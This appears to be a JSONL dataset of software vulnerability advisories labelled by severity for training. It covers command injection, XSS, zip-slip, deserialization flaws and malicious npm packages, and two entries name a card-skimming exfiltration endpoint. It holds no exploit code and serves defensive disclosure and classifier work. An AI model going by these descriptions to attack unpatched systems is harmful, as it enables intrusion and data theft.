-{"id": "48caf2fdae41b32256be", "text": "OS command injection in git-diff-apply\n\nIn \"index.js\" file line 240, the run command executes the git command with a user controlled variable called remoteUrl. This affects git-diff-apply all versions prior to 0.22.2.", "text_raw": "OS command injection in git-diff-apply\n\n[Severity: CRITICAL]\n\nIn \"index.js\" file line 240, the run command executes the git command with a user controlled variable called remoteUrl. This affects git-diff-apply all versions prior to 0.22.2.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-14", "split": "train"}
-{"id": "b2e9249f3bf00546b9a7", "text": "Cross-site Scripting in Apache Airflow\n\nThe \"origin\" parameter passed to some of the endpoints like '/trigger' was vulnerable to XSS exploit. This issue affects Apache Airflow versions <1.10.15 in 1.x series and affects 2.0.0 and 2.0.1 and 2.x series. This is the same as CVE-2020-13944 & CVE-2020-17515 but the implemented fix did not fix the issue completely. Update to Airflow 1.10.15 or 2.0.2. Please also update your Python version to the latest available PATCH releases of the installed MINOR versions, example update to Python 3.6.13 if you are on Python 3.6. (Those contain the fix for CVE-2021-23336 https://nvd.nist.gov/vuln/detail/CVE-2021-23336).", "text_raw": "Cross-site Scripting in Apache Airflow\n\n[Severity: MEDIUM]\n\nThe \"origin\" parameter passed to some of the endpoints like '/trigger' was vulnerable to XSS exploit. This issue affects Apache Airflow versions <1.10.15 in 1.x series and affects 2.0.0 and 2.0.1 and 2.x series. This is the same as CVE-2020-13944 & CVE-2020-17515 but the implemented fix did not fix the issue completely. Update to Airflow 1.10.15 or 2.0.2. Please also update your Python version to the latest available PATCH releases of the installed MINOR versions, example update to Python 3.6.13 if you are on Python 3.6. (Those contain the fix for CVE-2021-23336 https://nvd.nist.gov/vuln/detail/CVE-2021-23336).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "a76d3f899aa27c8718a7", "text": "Command Injection in whereis\n\nVersions of `whereis` before 0.4.1 are vulnerable to command injection if untrusted user input is passed into `whereis`.\n\n## Recommendation\n\nUpdate to version 0.4.1 or later.", "text_raw": "Command Injection in whereis\n\n[Severity: CRITICAL]\n\nVersions of `whereis` before 0.4.1 are vulnerable to command injection if untrusted user input is passed into `whereis`.\n\n\n## Recommendation\n\nUpdate to version 0.4.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "c36d475cb5a4e712c5d5", "text": "Malicious Package in simple-alipay\n\nVersion 1.0.1 of `simple-alipay` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.1 of this module is found installed you will want to replace it with a version before or after 1.0.1. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.0", "text_raw": "Malicious Package in simple-alipay\n\n[Severity: CRITICAL]\n\nVersion 1.0.1 of `simple-alipay` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.0.1 of this module is found installed you will want to replace it with a version before or after 1.0.1. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.0", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "26829396601cf1868cb2", "text": "ZKTeco ZKAccess Security System 5.3.1 Stored XSS Vulnerability", "text_raw": "ZKTeco ZKAccess Security System 5.3.1 Stored XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-08-31", "split": "train"}
-{"id": "a9d05e1ea6a4acbd6005", "text": "openapi-python-client Arbitrary Code Generation vulnerability\n\n### Impact\nClients generated with a maliciously crafted OpenAPI Document can generate arbitrary Python code. Subsequent execution of this malicious client is arbitrary code execution.\n\n### Patches\nFix will be included in version 0.5.3\n\n### Workarounds\nInspect OpenAPI documents before generating, or inspect generated code before executing.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [openapi-python-client](https://github.com/triaxtec/openapi-python-client/issues)\n* Email us at [danthony@triaxtec.com](mailto:danthony@triaxtec.com)", "text_raw": "openapi-python-client Arbitrary Code Generation vulnerability\n\n[Severity: HIGH]\n\n### Impact\nClients generated with a maliciously crafted OpenAPI Document can generate arbitrary Python code. Subsequent execution of this malicious client is arbitrary code execution.\n\nGiving this a CVSS of 8.0 (high) with CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H/E:P/RL:U/RC:C .\n\n### Patches\nFix will be included in version 0.5.3\n\n### Workarounds\nInspect OpenAPI documents before generating, or inspect generated code before executing.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [openapi-python-client](https://github.com/triaxtec/openapi-python-client/issues)\n* Email us at [danthony@triaxtec.com](mailto:danthony@triaxtec.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-20", "split": "train"}
-{"id": "d6ecaefa2c56076ab6fd", "text": "OMERO webclient does not validate URL redirects on login or switching group.\n\n### Background\nOMERO.web supports redirection to a given URL after performing login or switching the group context. These URLs are not validated, allowing redirection to untrusted sites. OMERO.web 5.9.0 adds URL validation before redirecting. External URLs are not considered valid, unless specified in the ``omero.web.redirect_allowed_hosts`` setting.\n\n### Impact\nOMERO.web before 5.9.0\n\n### Patches\n5.9.0\n\n### Workarounds\nNo workaround\n\n### References\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [omero-web](https://github.com/ome/omero-web)\n* Email us at [security](mailto:security@openmicroscopy.org.uk)", "text_raw": "OMERO webclient does not validate URL redirects on login or switching group.\n\n[Severity: MEDIUM]\n\n### Background\nOMERO.web supports redirection to a given URL after performing login or switching the group context. These URLs are not validated, allowing redirection to untrusted sites. OMERO.web 5.9.0 adds URL validation before redirecting. External URLs are not considered valid, unless specified in the ``omero.web.redirect_allowed_hosts`` setting.\n\n### Impact\nOMERO.web before 5.9.0\n\n### Patches\n5.9.0\n\n### Workarounds\nNo workaround\n\n### References\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [omero-web](https://github.com/ome/omero-web)\n* Email us at [security](mailto:security@openmicroscopy.org.uk)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "8dcb5dcd114b4cf81619", "text": "In marshmallow library the schema \"only\" option treats an empty list as implying no \"only\" option\n\nIn the marshmallow library before 2.15.1 and 3.x before 3.0.0b9 for Python, the schema \"only\" option treats an empty list as implying no \"only\" option, which allows a request that was intended to expose no fields to instead expose all fields (if the schema is being filtered dynamically using the \"only\" option, and there is a user role that produces an empty value for \"only\").", "text_raw": "In marshmallow library the schema \"only\" option treats an empty list as implying no \"only\" option\n\n[Severity: MEDIUM]\n\nIn the marshmallow library before 2.15.1 and 3.x before 3.0.0b9 for Python, the schema \"only\" option treats an empty list as implying no \"only\" option, which allows a request that was intended to expose no fields to instead expose all fields (if the schema is being filtered dynamically using the \"only\" option, and there is a user role that produces an empty value for \"only\").", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "d3b79041eb046fe6a31f", "text": "OpenEMR 4.1.1 (ofc_upload_image.php) Arbitrary File Upload Vulnerability", "text_raw": "OpenEMR 4.1.1 (ofc_upload_image.php) Arbitrary File Upload Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2013-02-13", "split": "train"}
-{"id": "af6faf22ef1691e471b1", "text": "Apache Karaf kar deployer reads .kar archives and extracts the paths from the \"repository/\" and \"resources/\" entries in the zip file. It then writes out the content of these paths to the Karaf repo and resources directories. However, it doesn't do any validation on the paths in the zip file. This means that a malicious user could craft a .kar file with \"..\" directory names and break out of the directories to write arbitrary content to the filesystem. This is the \"Zip-slip\" vulnerability - https://snyk.io/research/zip-slip-vulnerability. This vulnerability is low if the Karaf process user has limited permission on the filesystem. Any Apache Karaf releases prior 4.2.3 is impacted.", "text_raw": "Moderate severity vulnerability that affects org.apache.karaf:apache-karaf and org.apache.karaf:karaf\n\n[Severity: MEDIUM]\n\nApache Karaf kar deployer reads .kar archives and extracts the paths from the \"repository/\" and \"resources/\" entries in the zip file. It then writes out the content of these paths to the Karaf repo and resources directories. However, it doesn't do any validation on the paths in the zip file. This means that a malicious user could craft a .kar file with \"..\" directory names and break out of the directories to write arbitrary content to the filesystem. This is the \"Zip-slip\" vulnerability - https://snyk.io/research/zip-slip-vulnerability. This vulnerability is low if the Karaf process user has limited permission on the filesystem. Any Apache Karaf releases prior 4.2.3 is impacted.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "f940ad774763ad3a4c44", "text": "Cross-Site Scripting in google-closure-library\n\nVersions of `google-closure-library` prior to 20190301.0.0 are vulnerable to Cross-Site Scripting. The `safedomtreeprocessor.processToString()` function improperly processed empty elements, which could allow attackers to execute arbitrary JavaScript through Mutation Cross-Site Scripting.\n\n## Recommendation\n\nUpgrade to version 20190301.0.0 or later.", "text_raw": "Cross-Site Scripting in google-closure-library\n\n[Severity: MEDIUM]\n\nVersions of `google-closure-library` prior to 20190301.0.0 are vulnerable to Cross-Site Scripting. The `safedomtreeprocessor.processToString()` function improperly processed empty elements, which could allow attackers to execute arbitrary JavaScript through Mutation Cross-Site Scripting.\n\n\n## Recommendation\n\nUpgrade to version 20190301.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "3a055effb8ea9286ef27", "text": "Deserialization of Untrusted Data in NukeViet\n\nincludes/core/is_user.php in NukeViet before 4.3.04 deserializes the untrusted nvloginhash cookie (i.e., the code relies on PHP's serialization format when JSON can be used to eliminate the risk).", "text_raw": "Deserialization of Untrusted Data in NukeViet\n\n[Severity: CRITICAL]\n\nincludes/core/is_user.php in NukeViet before 4.3.04 deserializes the untrusted nvloginhash cookie (i.e., the code relies on PHP's serialization format when JSON can be used to eliminate the risk).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "702b64c8727ebae66832", "text": "xmlhttprequest and xmlhttprequest-ssl vulnerable to Arbitrary Code Injection\n\nThis affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (`async=False` on `xhr.open`), malicious user input flowing into `xhr.send` could result in arbitrary code being injected and run.", "text_raw": "xmlhttprequest and xmlhttprequest-ssl vulnerable to Arbitrary Code Injection\n\n[Severity: CRITICAL]\n\nThis affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (`async=False` on `xhr.open`), malicious user input flowing into `xhr.send` could result in arbitrary code being injected and run.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-04", "split": "train"}
-{"id": "10e372da5bf37f001d0f", "text": "Uncontrolled Resource Consumption in rdf-graph-array\n\nrdf-graph-array through 0.3.0-rc6 manipulation of JavaScript objects resutling in Prototype Pollution. The rdf.Graph.prototype.add method could be tricked into adding or modifying properties of Object.prototype.", "text_raw": "Uncontrolled Resource Consumption in rdf-graph-array\n\n[Severity: MEDIUM]\n\nrdf-graph-array through 0.3.0-rc6 manipulation of JavaScript objects resutling in Prototype Pollution. The rdf.Graph.prototype.add method could be tricked into adding or modifying properties of Object.prototype.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "124d0685d5fc7be8c1ef", "text": "Linux Kernel Improper Privilege Management Vulnerability\n\nAffected: Linux Kernel\n\nKernel/ptrace.c in Linux kernel mishandles contains an improper privilege management vulnerability that allows local users to obtain root access.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-269\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Linux Kernel Improper Privilege Management Vulnerability\n\nAffected: Linux Kernel\n\nKernel/ptrace.c in Linux kernel mishandles contains an improper privilege management vulnerability that allows local users to obtain root access.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-269\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "8821d4dc2ba115fd5565", "text": "python-engineio vulnerable to Cross-Site Request Forgery (CSRF)\n\n## WebSocket cross-origin vulnerability\n\n### Impact\nThis is a Cross-Site Request Forgery (CSRF) vulnerability. It affects Socket.IO and Engine.IO web servers that authenticate clients using cookies.\n\n### Patches\npython-engineio version 3.9.0 patches this vulnerability by adding server-side Origin header checks.\n\n### Workarounds\nDo not use cookies for client authentication, or else add a CSRF token to the connection URL.\n\n### References\nhttps://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)\nhttps://www.christian-schneider.net/CrossSiteWebSocketHijacking.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [python-engineio](http://github.com/miguelgrinberg/python-engineio)", "text_raw": "python-engineio vulnerable to Cross-Site Request Forgery (CSRF) \n\n[Severity: HIGH]\n\n## WebSocket cross-origin vulnerability\n\n### Impact\nThis is a Cross-Site Request Forgery (CSRF) vulnerability. It affects Socket.IO and Engine.IO web servers that authenticate clients using cookies.\n\n### Patches\npython-engineio version 3.9.0 patches this vulnerability by adding server-side Origin header checks.\n\n### Workarounds\nDo not use cookies for client authentication, or else add a CSRF token to the connection URL.\n\n### References\nhttps://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)\nhttps://www.christian-schneider.net/CrossSiteWebSocketHijacking.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [python-engineio](http://github.com/miguelgrinberg/python-engineio)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-30", "split": "train"}
-{"id": "46d4cf267840a0cbac4c", "text": "Malicious Package in body-parse-xml\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in body-parse-xml\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b4d876745db792fb17ac", "text": "Improper Certificate Validation in TweetStream\n\nTweetStream 2.6.1 uses the library eventmachine in an insecure way that does not have TLS hostname validation. This allows an attacker to perform a man-in-the-middle attack.", "text_raw": "Improper Certificate Validation in TweetStream\n\n[Severity: MEDIUM]\n\nTweetStream 2.6.1 uses the library eventmachine in an insecure way that does not have TLS hostname validation. This allows an attacker to perform a man-in-the-middle attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "967eec8fbac5ed9f2164", "text": "Cross-Site Scripting in webpack-bundle-analyzer\n\nVersions of `webpack-bundle-analyzer` prior to 3.3.2 are vulnerable to Cross-Site Scripting. The package uses `JSON.stringify()` without properly escaping input which may lead to Cross-Site Scripting.\n\n## Recommendation\n\nUpgrade to version 3.3.2 or later.", "text_raw": "Cross-Site Scripting in webpack-bundle-analyzer\n\n[Severity: MEDIUM]\n\nVersions of `webpack-bundle-analyzer` prior to 3.3.2 are vulnerable to Cross-Site Scripting. The package uses `JSON.stringify()` without properly escaping input which may lead to Cross-Site Scripting.\n\n\n## Recommendation\n\nUpgrade to version 3.3.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-23", "split": "train"}
-{"id": "c6100256bce473dcf015", "text": "Session Fixation in Tryton\n\nThe client in Tryton 5.x before 5.0.1 tries to make a connection to the bus in cleartext instead of encrypted under certain circumstances in bus.py and jsonrpc.py. This connection attempt fails, but it contains in the header the current session of the user. This session could then be stolen by a man-in-the-middle.", "text_raw": "Session Fixation in Tryton\n\n[Severity: HIGH]\n\nThe client in Tryton 5.x before 5.0.1 tries to make a connection to the bus in cleartext instead of encrypted under certain circumstances in bus.py and jsonrpc.py. This connection attempt fails, but it contains in the header the current session of the user. This session could then be stolen by a man-in-the-middle.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-29", "split": "train"}
-{"id": "97de369e37dc7cfd22c3", "text": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n### Impact\nThe vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39141](https://x-stream.github.io/CVE-2021-39141.html).\n\n### Credits\nCeclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39141](https://x-stream.github.io/CVE-2021-39141.html).\n\n### Credits\nCeclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "54c6dfcfcd6f521f8c44", "text": "HomeAutomation v3.3.2 Open Redirect", "text_raw": "HomeAutomation v3.3.2 Open Redirect\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "1eb20aa6012740f419c8", "text": "bracket-template vulnerable to reflected XSS\n\nbracket-template suffers from reflected XSS possible when variable passed via GET parameter is used in template", "text_raw": "bracket-template vulnerable to reflected XSS\n\n[Severity: MEDIUM]\n\nbracket-template suffers from reflected XSS possible when variable passed via GET parameter is used in template", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "475b016aa2bbd0e94f32", "text": "Command Injection in traceroute\n\nAll versions of `traceroute` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to an `exec` call, which may allow attackers to execute arbitrary code in the system. The `trace` function is vulnerable and can be abused if the `host` value is controlled by an attacker.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in traceroute\n\n[Severity: CRITICAL]\n\nAll versions of `traceroute` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to an `exec` call, which may allow attackers to execute arbitrary code in the system. The `trace` function is vulnerable and can be abused if the `host` value is controlled by an attacker.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "5c602185992969b02087", "text": "nodemailer-js is malware\n\nThe `nodemailer-js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "nodemailer-js is malware\n\n[Severity: HIGH]\n\nThe `nodemailer-js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "63ab0cc01d3c9f592286", "text": "Malicious Package in web3-eht\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in web3-eht\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "213711c335e094c008c8", "text": "Cross-site Scripting in OWASP AntiSamy\n\nOWASP AntiSamy before 1.6.4 allows XSS via HTML attributes when using the HTML output serializer (XHTML is not affected). This was demonstrated by a javascript: URL with &#00058 as the replacement for the : character.", "text_raw": "Cross-site Scripting in OWASP AntiSamy\n\n[Severity: MEDIUM]\n\nOWASP AntiSamy before 1.6.4 allows XSS via HTML attributes when using the HTML output serializer (XHTML is not affected). This was demonstrated by a javascript: URL with &#00058 as the replacement for the : character.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "425f9641057d23d2c355", "text": "Cross Site Scripting (XSS) in Simiki\n\nCross Site Scripting (XSS) in Simiki v1.6.2.1 and prior allows remote attackers to execute arbitrary code via line 54 of the component 'simiki/blob/master/simiki/generators.py'.", "text_raw": "Cross Site Scripting (XSS) in Simiki\n\n[Severity: MEDIUM]\n\nCross Site Scripting (XSS) in Simiki v1.6.2.1 and prior allows remote attackers to execute arbitrary code via line 54 of the component 'simiki/blob/master/simiki/generators.py'.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "55c2799120219546fd07", "text": "Cross-Site Scripting via JSONP\n\nJSONP allows untrusted resource URLs, which provides a vector for attack by malicious actors.", "text_raw": "Cross-Site Scripting via JSONP\n\n[Severity: MEDIUM]\n\nJSONP allows untrusted resource URLs, which provides a vector for attack by malicious actors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-27", "split": "train"}
-{"id": "c7e654f6e99221b1128c", "text": "Open Redirect in werkzeug\n\nOpen redirect vulnerability in werkzeug before 0.11.6 via a double slash in the URL.", "text_raw": "Open Redirect in werkzeug\n\n[Severity: MEDIUM]\n\nOpen redirect vulnerability in werkzeug before 0.11.6 via a double slash in the URL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "d69e3511dd6b05d17000", "text": "cfscrape Improper Input Validation vulnerability\n\nAn issue was discovered in cloudflare-scrape 1.6.6 through 1.7.1. A malicious website owner could craft a page that executes arbitrary Python code against any cfscrape user who scrapes that website. This is fixed in 1.8.0.", "text_raw": "cfscrape Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\nAn issue was discovered in cloudflare-scrape 1.6.6 through 1.7.1. A malicious website owner could craft a page that executes arbitrary Python code against any cfscrape user who scrapes that website. This is fixed in 1.8.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "c5984edf925edcb56032", "text": "Cross-Site Scripting in mavon-editor\n\nAll versions of `mavon-editor` are vulnerable to Cross-Site Scripting. The package fails to sanitize entered input, allowing attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in mavon-editor\n\n[Severity: MEDIUM]\n\nAll versions of `mavon-editor` are vulnerable to Cross-Site Scripting. The package fails to sanitize entered input, allowing attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "a78f1739c8f994f61b99", "text": "Prototype pollution in set-in\n\nPrototype pollution vulnerability in 'set-in' versions 1.0.0 through 2.0.0 allows attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in set-in\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'set-in' versions 1.0.0 through 2.0.0 allows attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "f8b85808589658995d34", "text": "Malicious Package in pensi-scheduler\n\nVersion 1.1.3 of `pensi-scheduler` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.1.2", "text_raw": "Malicious Package in pensi-scheduler\n\n[Severity: CRITICAL]\n\nVersion 1.1.3 of `pensi-scheduler` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.1.2", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ac486c02caffe6f35dda", "text": "SonicDICOM PACS 2.3.2 Multiple Stored Cross-Site Scripting Vulnerabilities", "text_raw": "SonicDICOM PACS 2.3.2 Multiple Stored Cross-Site Scripting Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-02-11", "split": "train"}
-{"id": "bbdec9913eda6176aa52", "text": "CSRF Vuln can expose user's QRcode\n\n### Impact\nWhen a user is setting up two-factor authentication using an authenticator app, a QRcode is generated and made available via a GET request to /tf-qrcode. Since GETs do not have any CSRF protection, it is possible a malicious 3rd party could access the QRcode and therefore gain access to two-factor authentication codes. Note that the /tf-qrcode endpoint is ONLY accessible while the user is initially setting up their device. Once setup is complete, there is no vulnerability.\n\n### Patches\nThis is fixed in the upcoming 4.0.0 release.\n\n### Workarounds\nYou can provide your own URL for fetching the QRcode by defining SECURITY_TWO_FACTOR_QRCODE_URL and providing your own implementation (that presumably required a POST with CSRF protection). This would require changing the two-factor setup template as well.\n\n### References\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Read this pull request: #423", "text_raw": "CSRF Vuln can expose user's QRcode\n\n[Severity: LOW]\n\n### Impact\nWhen a user is setting up two-factor authentication using an authenticator app, a QRcode is generated and made available via a GET request to /tf-qrcode. Since GETs do not have any CSRF protection, it is possible a malicious 3rd party could access the QRcode and therefore gain access to two-factor authentication codes. Note that the /tf-qrcode endpoint is ONLY accessible while the user is initially setting up their device. Once setup is complete, there is no vulnerability.\n\n### Patches\nThis is fixed in the upcoming 4.0.0 release.\n\n### Workarounds\nYou can provide your own URL for fetching the QRcode by defining SECURITY_TWO_FACTOR_QRCODE_URL and providing your own implementation (that presumably required a POST with CSRF protection). This would require changing the two-factor setup template as well.\n\n### References\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Read this pull request: #423", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-08", "split": "train"}
-{"id": "ea7d0219826890323a04", "text": "Local file disclosure in PHPMailer\n\nAn issue was discovered in PHPMailer before 5.2.22. PHPMailer&#39;s `msgHTML` method applies transformations to an HTML document to make it usable as an email message body. One of the transformations is to convert relative image URLs into attachments using a script-provided base directory. If no base directory is provided, it resolves to `/`, meaning that relative image URLs get treated as absolute local file paths and added as attachments. To form a remote vulnerability, the msgHTML method must be called, passed an unfiltered, user-supplied HTML document, and must not set a base directory.\n\n### Impact\nArbitrary local files can be attached to email messages.\n\n### Patches\nFixed in 5.2.22\n\n### Workarounds\nValidate input before using user-supplied file paths.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-5223\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "text_raw": "Local file disclosure in PHPMailer\n\n[Severity: MEDIUM]\n\nAn issue was discovered in PHPMailer before 5.2.22. PHPMailer&#39;s `msgHTML` method applies 